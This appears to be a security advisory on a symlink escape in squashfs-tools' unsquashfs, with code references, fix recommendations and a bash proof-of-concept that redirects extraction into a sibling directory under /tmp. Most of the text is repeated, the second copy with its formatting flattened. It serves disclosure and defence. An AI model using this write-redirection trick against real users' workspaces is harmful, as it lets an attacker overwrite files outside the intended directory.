squashfs-tools unsquashfs contains Extraction Root Symlink Escape via Preexisting Destination State. This may cause maliciously writing into an attacker-chosen sibling directory.
0. Environment
- Target:
unsquashfs (vulnerable extractor) and mksquashfs (PoC image generation)
- Version:
squashfs-tools commit f277118d (repo: squashfs-tools/)
- Build (from repository root; disables optional compressors to reduce deps):
make -C squashfs-tools/squashfs-tools -j"$(nproc)" \
unsquashfs mksquashfs XZ_SUPPORT= LZO_SUPPORT= LZ4_SUPPORT= ZSTD_SUPPORT=
- Binaries:
squashfs-tools/squashfs-tools/unsquashfs, squashfs-tools/squashfs-tools/mksquashfs (run PoC with UNSQUASHFS_BIN=... MKSQUASHFS_BIN=...)
1. Description
unsquashfs trusts the extraction root pathname (squashfs-root by default, or -d <path>) without rejecting the case where that pathname already exists as a symbolic link.
During extraction, the tool recursively appends archive-controlled child names to the destination root and creates files beneath it. If the root path is a symlink to another location, the extractor writes into the symlink target rather than into a real directory under the current working directory.
Relevant code:
squashfs-tools/squashfs-tools/unsquashfs.c:4604 — extraction starts with dir_scan(dest, ...).
squashfs-tools/squashfs-tools/unsquashfs.c:2130 — dir_scan(...) calls mkdir(parent_name, 0700).
squashfs-tools/squashfs-tools/unsquashfs.c:2148 — on EEXIST, it chmod(parent_name, 0700) without first rejecting symlinks.
squashfs-tools/squashfs-tools/unsquashfs.c:2177 — child paths are formed with "%s/%s".
squashfs-tools/squashfs-tools/unsquashfs.c:1088 — regular files are opened with open_wait(pathname, O_CREAT | O_WRONLY, ...).
2. Impact
If an attacker can prepare the local extraction destination state, they can redirect unsquashfs writes outside the intended extraction root.
Practical impact includes:
- writing into an attacker-chosen sibling directory when the user runs
unsquashfs in a shared workspace;
- clobbering files through a predictable default extraction path such as
./squashfs-root;
- turning filesystem-image extraction into a write primitive against arbitrary locations reachable through a symlink.
This is a preexisting-state issue rather than an archive-only issue, but it is directly relevant to unpfuzz because the FSG should model hostile initial filesystem state in addition to hostile archive contents.
3. Reason / Root Cause
The extractor assumes that an existing destination path is a writable directory. It does not lstat() and reject symlinks before using that path as the root of subsequent extraction.
Once dest is a symlink, all later dest/<entry> paths are resolved by the kernel through the symlink target. The code then opens and writes files below the redirected location.
4. Proof-of-Concept
4.1 PoC file
4.2 What the PoC does
The PoC:
- Creates a minimal SquashFS image containing
dir/pwn.txt.
- Creates a symlink named
squashfs-root -> outside.
- Runs
unsquashfs in that directory.
- Verifies that extraction writes
outside/dir/pwn.txt.
4.3 Expected result
Successful exploitation creates:
/tmp/unpfuzz_sqfs_poc/outside/dir/pwn.txt
even though the user invoked extraction through:
/tmp/unpfuzz_sqfs_poc/squashfs-root
5. Fix Recommendations
lstat() the extraction root before use and reject symlinks.
- Hold a trusted directory file descriptor for the extraction root and create descendants with
openat-style APIs rather than by concatenating strings.
- Apply the same rejection to every existing parent component, not only to the final path element.
- When
-force is used, do not chmod() or reuse a path unless lstat() confirms it is a real directory.
- Add regression tests that start extraction with:
squashfs-root as a symlink;
-d link/out where link is a symlink;
-force against hostile preexisting directory entries.
6. Reproduction
From the repository root:
Below is the poc.sh
#!/usr/bin/env bash
set -euo pipefail
MKSQUASHFS_BIN=${MKSQUASHFS_BIN:-mksquashfs}
UNSQUASHFS_BIN=${UNSQUASHFS_BIN:-unsquashfs}
for bin in "$MKSQUASHFS_BIN" "$UNSQUASHFS_BIN"; do
if [[ "$bin" == */* ]]; then
if [[ ! -x "$bin" ]]; then
echo "error: not executable: $bin" >&2
exit 1
fi
else
if ! command -v "$bin" >/dev/null 2>&1; then
echo "error: $bin is required" >&2
exit 1
fi
fi
done
base=/tmp/unpfuzz_sqfs_poc
rm -rf "$base"
mkdir -p "$base/src/dir" "$base/outside"
printf 'SQFS_ESCAPE\n' > "$base/src/dir/pwn.txt"
"$MKSQUASHFS_BIN" "$base/src" "$base/test.sqfs" -noappend -quiet >/dev/null
ln -s outside "$base/squashfs-root"
(cd "$base" && "$UNSQUASHFS_BIN" -quiet test.sqfs >/dev/null)
if [[ ! -f "$base/outside/dir/pwn.txt" ]]; then
echo "[-] exploit failed: redirected file was not created" >&2
find "$base" -maxdepth 3 -ls >&2
exit 1
fi
echo "[+] extraction followed preexisting root symlink"
cat "$base/outside/dir/pwn.txt"
squashfs-tools
unsquashfscontains Extraction Root Symlink Escape via Preexisting Destination State. This may cause maliciously writing into an attacker-chosen sibling directory.0. Environment
unsquashfs(vulnerable extractor) andmksquashfs(PoC image generation)squashfs-toolscommitf277118d(repo:squashfs-tools/)make -C squashfs-tools/squashfs-tools -j"$(nproc)" \ unsquashfs mksquashfs XZ_SUPPORT= LZO_SUPPORT= LZ4_SUPPORT= ZSTD_SUPPORT=squashfs-tools/squashfs-tools/unsquashfs,squashfs-tools/squashfs-tools/mksquashfs(run PoC withUNSQUASHFS_BIN=... MKSQUASHFS_BIN=...)1. Description
unsquashfstrusts the extraction root pathname (squashfs-rootby default, or-d <path>) without rejecting the case where that pathname already exists as a symbolic link.During extraction, the tool recursively appends archive-controlled child names to the destination root and creates files beneath it. If the root path is a symlink to another location, the extractor writes into the symlink target rather than into a real directory under the current working directory.
Relevant code:
squashfs-tools/squashfs-tools/unsquashfs.c:4604— extraction starts withdir_scan(dest, ...).squashfs-tools/squashfs-tools/unsquashfs.c:2130—dir_scan(...)callsmkdir(parent_name, 0700).squashfs-tools/squashfs-tools/unsquashfs.c:2148— onEEXIST, itchmod(parent_name, 0700)without first rejecting symlinks.squashfs-tools/squashfs-tools/unsquashfs.c:2177— child paths are formed with"%s/%s".squashfs-tools/squashfs-tools/unsquashfs.c:1088— regular files are opened withopen_wait(pathname, O_CREAT | O_WRONLY, ...).2. Impact
If an attacker can prepare the local extraction destination state, they can redirect
unsquashfswrites outside the intended extraction root.Practical impact includes:
unsquashfsin a shared workspace;./squashfs-root;This is a preexisting-state issue rather than an archive-only issue, but it is directly relevant to
unpfuzzbecause the FSG should model hostile initial filesystem state in addition to hostile archive contents.3. Reason / Root Cause
The extractor assumes that an existing destination path is a writable directory. It does not
lstat()and reject symlinks before using that path as the root of subsequent extraction.Once
destis a symlink, all laterdest/<entry>paths are resolved by the kernel through the symlink target. The code then opens and writes files below the redirected location.4. Proof-of-Concept
4.1 PoC file
./poc.sh4.2 What the PoC does
The PoC:
dir/pwn.txt.squashfs-root -> outside.unsquashfsin that directory.outside/dir/pwn.txt.4.3 Expected result
Successful exploitation creates:
/tmp/unpfuzz_sqfs_poc/outside/dir/pwn.txteven though the user invoked extraction through:
/tmp/unpfuzz_sqfs_poc/squashfs-root5. Fix Recommendations
lstat()the extraction root before use and reject symlinks.openat-style APIs rather than by concatenating strings.-forceis used, do notchmod()or reuse a path unlesslstat()confirms it is a real directory.squashfs-rootas a symlink;-d link/outwherelinkis a symlink;-forceagainst hostile preexisting directory entries.6. Reproduction
From the repository root:
Below is the
poc.sh